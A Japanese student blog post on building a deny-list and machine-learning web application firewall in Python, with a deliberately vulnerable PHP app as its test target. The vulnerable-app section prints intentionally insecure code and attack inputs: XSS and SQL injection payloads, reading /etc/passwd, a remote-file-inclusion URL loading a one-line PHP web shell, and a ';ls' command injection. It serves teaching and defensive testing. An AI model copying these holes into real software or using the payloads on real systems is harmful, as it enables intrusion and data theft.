よーでんのブログ

One for All,All for わんわんお!

WAffle

WAffle開発記【WAF/Vuln編】

f:id:y0d3n:20210208212744p:plain
a Web Application Firewall using Signature and Character-level CNN

こんにちは、y0d3nです。授業の一環で友人とチームを組んでdenylistと機械学習ベースのWAFを実装したので、成果物の開発機を書こうと思います。

github.com

チームは3人。

  • futabato
    機械学習でよしなにしてくれた
  • l7elVli
    ログ監視のWebアプリをよしなにしてくれた
  • y0d3n
    denylistベースのWAFと、防御対象の脆弱なWebアプリをよしなにした

機械学習はfutabatoが書いてくれています。そちらも是非読んでみてください。

01futabato10.hateblo.jp

自分は「WAF/Vuln編」ということで、denylistベースのWAFと、WAFが防御する対象となる脆弱なWebアプリについて書きます。

denylistについてですが、完成間近まではblacklistでした。
コードの引用時などは変に変更すると面倒なことになりそうなので修正していません。

Signature based WAF

なぜWAF?

"ものづくり"という授業があり、「何かしらの成果物を作る」という感じ。
3人集まったはいいものの、何を作るか決めかねていたらMBSDの募集がそろそろ始まるという情報が。

「ものづくりの授業、MBSDの課題をやろう」
3人でこんなことを言っていました。

しかし、いざ発表された課題はものづくりの授業で作るようなものとは違い、悩んだ末に「去年のMBSDの課題をやろう」となりました。

技術選定

言語

まずは言語。それぞれのメイン言語はバラバラ。
「せっかくなら機械学習ベースのWAF作りたくない?」
ということになり、言語はPythonに決定。

WAFの種類

IPAWeb Application Firewall 読本に書いてある通りWAFにはいくつかの種類があり、設置場所や通信の遮断方式などが変わってきます。

「まず、WAFってどうやってつくるの・・・?」
という空気になったため、一通り調べた中でイメージがしやすかったリバースプロキシ型にしました。

イメージ

denylistを通過してきたものを機械学習でチェックする感じに決まりました。

f:id:y0d3n:20210209180500p:plain
WAffleイメージ

中身

リバースプロキシWAFのサンプル(Browse files)

@app.route('/<regex(".*"):path>')
def proxy(path):
    if "<" in path:
        return render_template('waffle.html')
    url = "http://localhost:80/"+path
    r = requests.get(url)
    return Response(r.content)

手始めに「URLに<が含まれていたら遮断、そうでないならURLから内容を取得して返す」という動作をするものを作りました。
しかし、URLクエリがチェックされていなかったのでそこもよしなに(Browse files)

    query = req.query_string
    if query != b'' :
        path += "?" + query.decode()

waffle.html(遮断された画面)はこんな感じです。
クラスメイトから「めっちゃかっこいい」との感想を頂けたので嬉しい。

f:id:y0d3n:20210207231619p:plain
WAffle

もうdenylistベースのWAFが完成したといっても過言ではないですね!(過言)

正規表現で指定できるdenylist(Browse files)

with open("blacklist.txt") as f:
    bList = [s.strip() for s in f.readlines()]
(snip)
    for val in bList:
        m = re.match(val, path, re.IGNORECASE)
        if m != None :
            return render_template('waffle.html')

denylistをとってきて、パラメータがそれに当てはまるかを正規表現でチェック。
.*<script.*>.*みたいな感じに入れておくと、scriptタグが含まれるときに遮断できます。
denylistを育てるのはとても面倒なので後回しです。

POSTリクエストに対応(Browse files)

今までの仕様ではURLしか扱っていなかったため、リクエストボディなどは無視されていました。
proxy関数をgetとpostに分け、それぞれ書きます。
(この方法ではリクエストメソッドの数だけ関数を増やさないといけないことに気づいていない。)

@app.route('/<regex(".*"):path>', methods=["GET"])
(snip)
@app.route('/<regex(".*"):path>', methods=["POST"])
def post(path):
    if waf(path, req.get_data().decode()):
        return render_template('waffle.html')

    proc = subprocess.run(["curl", "http://localhost:80/"+path, "--data", req.get_data().decode()], stdout=subprocess.PIPE)
    return Response(proc.stdout)

curlを使うのはアリなのかしばらく悩みましたが、「どう実装するのが正解かわからない」かつ「curlだと手軽に叩ける」となりこれを採用しました。もっとスマートなやり方がありそう。

複数のリクエストメソッドに対応(Browse files)

先述したとおり、このままGET関数、POST関数・・・と増やしていくことになるのですが、とても面倒ですし汚いです。
ということで拡張しやすくしました。

@app.route('/<regex(".*"):path>', methods=["GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE", "PATCH"])
(snip)
    try :
        proc = subprocess.run(["curl", "-X", req.method, url+path,"-H","Content-Type:" + req.headers.getlist("Content-Type")[0] , "--data", req.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    except:
        proc = subprocess.run(["curl", "-X", req.method, url+path, "--data", req.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return Response(proc.stdout)

リクエストボディがないときにボディを参照しようとするとエラーになるため、try & exceptでよしなにしました。(これもまたスマートじゃないと思う)

Cookieに対応(Browse files)

「ほぼ完成してきたのでは?」と思い、保護対象のURLを適当なサービスにしてみたところ(攻撃はしてません)、ログインできないことが発覚。Cookieです。
ということでCookieに対応しました。

    cookie = ""
    for i ,v in request.cookies.items():
        cookie += i + "=" + v +";"

    try :
        proc = subprocess.run(["curl", "-X", request.method, "-i", "-A", request.user_agent.string, url+path, "-H", "Cookie: " + cookie, "-H", "Content-Type:" + request.headers.getlist("Content-Type")[0] , "--data", request.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    except:
        proc = subprocess.run(["curl", "-X", request.method, "-i", "-A", request.user_agent.string, url+path, "-H", "Cookie: " + cookie, "-H", "--data", request.get_data().decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    # HTTPレスポンスをヘッダとボディで分割
    splited_res = proc.stdout.split("\r\n\r\n".encode("utf-8"),1)
    if len(splited_res) == 1:
        res = make_response("")
    else :
        res = make_response(splited_res[1])

    # HTTPレスポンスヘッダヘッダからcookieを探してセットする
    for v in splited_res[0].split("\r\n".encode("utf-8")):
        if v.startswith(b'Set-Cookie'):
            s = v.split(":".encode("utf-8"), 1)[1].split("=".encode("utf-8"), 1)
            res.set_cookie(s[0].decode("utf-8"), s[1].split(";".encode("utf-8"), 1)[0].decode('utf-8'))
    return res

レスポンスヘッダに含まれるSet-Cookieを抽出してセットさせています。
ここもまただいぶ試行錯誤して実装していました。

機械学習を組み込む(Browse files)

さて、denylistベースのWAFはほぼ完成です。
futabatoが機械学習をよしなにしてくれているので、正規表現をスルーされた際にpredictionを呼び出すようにします。

    is_abnormal = waf(url, path, str(body_data), str(cookie_data))
    if is_abnormal == 1:
        return render_template('waffle.html')
(snip)
def waf(url, path, body, cookie):
    if not signature(path, body, cookie):
        # パターンマッチングで引っかかった場合100%異常とする
        return 1
    return prediction(url + path)

2度目になりますが、predictionなどの機械学習編はfutabatoが書いてくれているのでそちらを参考にしてください。

01futabato10.hateblo.jp

これでdenylistと機械学習ベースのWAFが完成しました。

Vuln apps

WAFを作るにあたって必要になったのが防御対象のWebアプリケーションです。
私は普段Webセキュリティを中心に勉強しているのでこれも担当することになりました。(ソロ開発なので命名が絶望的に適当な部分があります)

環境

私のメインの言語はGoだったのでGoで作ろうとしましたが、「デフォルトで無効」にされているものが多く、自然に脆弱性を作りこむことが困難だと思い、PHPにしました。

脆弱なWebアプリケーションを自分のマシンでホストするのは嫌だったので、docker-composeでnginxを使いました。

以下の脆弱性を再現しました。

  • XSS
  • XXE
  • SQL Injection
  • OS Command Injection
  • Path Traversal
  • Remote File Inclusion
  • Mail Header Injection

XSS

URLクエリパラメータのXSS(Browse file)

これは単純ですね。inputパラメータにXSSを作成しました。

<body>
    <form action="" method="get">
        <input type="text" name="input" size="50" id="input"><br>
        <input type="button" onclick="document.getElementById('input').value = '<script>alert(1)</script>';" value="attack"><input type="submit" value="送信">
    </form>
    <hr>
    output: <?php
            $input = $_GET["input"];
            print $input;
            ?>
</body>

f:id:y0d3n:20210207145103p:plain
hoge

f:id:y0d3n:20210207145155p:plain
alert

リクエストボディのXSS(Browse file)

GETをPOSTにしただけ。

<body>
    <form method="post">
        <input type="text" name="input" size="50" id="input"><br>
        <input type="button" onclick="document.getElementById('input').value = '<script>alert(1)</script>';" value="attack"><input type="submit" value="送信">
    </form>
    <hr>
    output: <?php
            $input = $_POST["input"];
            print $input;
            ?>
</body>

f:id:y0d3n:20210207145954p:plain
alert

XXE

PHPプログラマのためのXXE入門」を参考に、ファイルアップロードによるXXEを再現しました。

blog.tokumaru.org

SQL Injection(Browse file)

今度はSQLiです。DBのコンテナを準備します。
docker-compose.ymlに以下を追記。

  db:
    image: mysql
    environment:
      MYSQL_ROOT_PASSWORD: docker
      MYSQL_DATABASE: docker
      MYSQL_USER: docker
      MYSQL_PASSWORD: docker
    ports:
      - "3306:3306"
    volumes:
      - ./containers/mysql/init.sql:/docker-entrypoint-initdb.d/init.sql

ユーザ名やパスワード、DB等は管理が面倒だったので全部dockerにしました。
ビルド時にDBにデータが自動で入るようにするため、init.sqlを作成します。

drop database if exists docker;
create database docker;
use docker;
drop table if exists docker;
create table docker (
    name char(50),
    pass char(50)
);
insert into docker values ('admin', 'P@ssw0rd'); 
insert into docker values ('yoden', 'Svp3rS3cr3tP4sswr0d!!!'); 
insert into docker values ('flag', 'flag{7h1s_1s_f4k3_fl4g}'); 

テーブル名とカラム名dockerです。(チーム開発だとそろそろキレられそう)
sudo docker exec -it <コンテナID> bashでコンテナに入ってmysql -u docker -pとかして確認すると、きちんとできてるのが確認できます。

最後にPHPです。

<?php
try {
    $db = new PDO('mysql:host=db;dbname=docker', 'docker', 'docker');
    $sql = 'SELECT name,pass FROM docker WHERE name=\'' . $_GET["input"] . '\';';
    $stmt = $db->prepare($sql);
    $stmt->execute();
    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (PDOException $e) {
    echo $e->getMessage();
    exit;
} ?>
(snip)
    <form method="GET">
        name <input type="text" name="input" size="50" id="input"><br>
        <input type="button" onclick="document.getElementById('input').value = '\'or 1=1\;--';" value="attack"><input type="submit" value="送信">
    </form>
    <hr>
    <?
        echo "<p>$sql</p><table border=\"1\"><tr><th>name</th><th>pass</th>";
        foreach( $result as $value ) {
            echo "<tr><td>$value[name] </td><td>$value[pass]</tt></tr>";
        }
        ?>
    </table>

f:id:y0d3n:20210207222539p:plain
yoden

f:id:y0d3n:20210207222604p:plain
1=1

SQLiが再現できました。
しかし、作成後「cookieを使った脆弱なページが欲しい」となり、cookieバージョンも作成。

<?php
if (!isset($_COOKIE["name"])) {
    setcookie("name", "yoden");
}
if (!isset($_COOKIE["limit"])) {
    setcookie("limit", 1);
}
(snip)
    $sql = 'SELECT name,pass FROM docker WHERE name=\'' . $_COOKIE["name"] . '\' LIMIT ' . $_COOKIE["limit"] . ';';
(snip)
<input type="button" onclick="document.cookie='name=\' or 1=1\%3b--';" value="attack">

大半はさっきのコードからの引用で、setcookieを追加し、SQLの呼び出しではcookieからよしなにするようにしました。

Path Traversal(Browse file)

URLやリクエストボディ、cookieなどを使ったものは既に作ったので、WAFのテストには充分でしたが、折角なので他にもいくつか作りました。

    <ul>
        <li>
            <a href="?input=index.php">index</a>
        </li>
        <li>
            <a href="?input=/etc/passwd">/etc/passwd</a>
        </li>
        <li>
            <a href="?input=php://filter/convert.base64-encode/resource=index.php">base64(index)</a>
        </li>
        <li>
            <a href="?input=https://raw.githubusercontent.com/futabato/WAffle/main/vuln/etc/shell.txt&cmd=ls">RFI</a>
        </li>
    </ul>
    <hr>
    <?php
    if (isset($_GET['input'])) {
        $file = $_GET['input'];
        include($file);
    }
    ?>

f:id:y0d3n:20210207225939p:plain
/etc/passwd

f:id:y0d3n:20210207230003p:plain
base64(index.php)

PCFET0NUWVBFIGh0bWw+...base64デコードするとindex.phpのソースになります。

f:id:y0d3n:20210207230218p:plain
RFI

Path Traversalを再現するつもりが、RFIもできてしまってびっくりしました。
指定しているファイルは以下のような感じ。(Browse file)

<?php
system($_GET["cmd"]);
?>

https://raw.githubusercontent.com/futabato/WAffle/main/vuln/etc/shell.txtは上記のphpのコードが表示されるテキストファイルですが、これをincludeするとPHPとして実行されます。

OS Command Injection(Browse file)

    <ul>
        <li>
            <a href="?input=hello">hello</a>
        </li>
        <li>
            <a href="?input=;ls">ls</a>
        </li>
    </ul>
    <?php
    if (isset($_GET['input'])) {
        exec("echo " . $_GET['input'], $output);
        echo "<pre>";
        print_r($output);
        echo "</pre>";
    }
    ?>

f:id:y0d3n:20210207230441p:plain
hello

f:id:y0d3n:20210207230420p:plain
ls

Mail Header Injection

「メールヘッダ・インジェクションの挙動を実際に手を動かして確認した」を参考に、メールヘッダインジェクションを再現しました。

qiita.com

振り返り

複数人で開発するのはほぼ初めてだったのでいい経験になりました。
githubがある程度使えるようになったのが結構嬉しいですね。(コミットメッセージを遡るの楽しい)
個人的にはVulnがCTFの作問に生かせそうで、それも嬉しいです。

最後までご覧いただきありがとうございました。